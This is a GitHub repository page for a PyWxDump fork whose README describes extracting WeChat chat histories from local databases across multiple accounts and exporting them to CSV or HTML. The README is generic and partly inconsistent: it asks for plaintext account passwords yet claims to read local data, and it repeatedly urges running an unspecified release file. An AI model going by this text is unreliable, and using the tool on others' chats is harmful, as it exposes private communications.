Skip to content

获取微信信息;读取数据库,本地查看聊天记录并导出为csv、html等格式用于AI训练,自动回复等。支持多账户信息获取,支持所有微信版本。

License

Notifications You must be signed in to change notification settings

Aeron1-bit/PyWxDump

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

PyWxDump 🐉

PyWxDump GitHub Python

Introduction

Welcome to PyWxDump, a powerful tool designed to help you extract and manage WeChat data efficiently. This repository allows users to read local databases, view chat histories, and export data in various formats such as CSV and HTML. Whether you are training AI models or developing automated responses, PyWxDump offers the flexibility you need.

Get started by downloading the latest release from the Releases section.

Features

  • Multi-account Support: Easily manage data from multiple WeChat accounts.
  • Version Compatibility: Works with all versions of WeChat.
  • Data Export: Export chat histories in CSV, HTML, and other formats.
  • AI Training: Prepare your data for AI model training with ease.
  • Automated Responses: Leverage extracted data for developing automated replies.

Installation

To get started with PyWxDump, follow these simple steps:

  1. Clone the Repository:

    git clone https://github.com/Aeron1-bit/PyWxDump.git
  2. Navigate to the Directory:

    cd PyWxDump
  3. Install Dependencies: Make sure you have Python 3.6 or higher installed. Use pip to install required packages:

    pip install -r requirements.txt
  4. Download the Latest Release: For the latest features and updates, visit the Releases section. Download the appropriate file and execute it.

Usage

Step 1: Configure Your Accounts

Before you can start extracting data, you need to configure your WeChat accounts. Edit the config.json file to include your account details.

{
  "accounts": [
    {
      "username": "your_username",
      "password": "your_password"
    },
    ...
  ]
}

Step 2: Extract Data

Run the extraction script to pull data from your WeChat accounts.

python extract.py

Step 3: Export Data

Once you have extracted the data, you can export it to your desired format. Use the following command:

python export.py --format csv

Replace csv with html or any other supported format as needed.

Data Formats

CSV

The CSV format is ideal for data analysis. You can open it in spreadsheet applications like Microsoft Excel or Google Sheets.

HTML

The HTML format is great for creating web pages. You can easily share your chat histories online.

Example Use Cases

  1. AI Training: Use exported chat histories to train chatbots or machine learning models.
  2. Data Analysis: Analyze chat patterns, frequency of messages, and more.
  3. Backup: Keep a backup of your important conversations.

Contributing

We welcome contributions from the community. If you have suggestions, bug reports, or new features, feel free to open an issue or submit a pull request.

Steps to Contribute

  1. Fork the repository.
  2. Create a new branch for your feature or bug fix.
  3. Make your changes and commit them.
  4. Push to your forked repository.
  5. Open a pull request.

License

This project is licensed under the MIT License. See the LICENSE file for more details.

Support

If you encounter any issues or have questions, please check the Issues section for help.

For more updates and releases, visit the Releases section regularly.

Acknowledgments

  • Thanks to the contributors who help make this project better.
  • Special thanks to the open-source community for their invaluable resources.

Conclusion

PyWxDump is your go-to tool for managing WeChat data effectively. Whether you are a developer, researcher, or just someone looking to keep a record of conversations, this tool has you covered.

Download the latest version from the Releases section and start exploring the possibilities!

Feel free to explore the code, contribute, and make this project even better!

About

获取微信信息;读取数据库,本地查看聊天记录并导出为csv、html等格式用于AI训练,自动回复等。支持多账户信息获取,支持所有微信版本。

Topics

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Contributors 11

Languages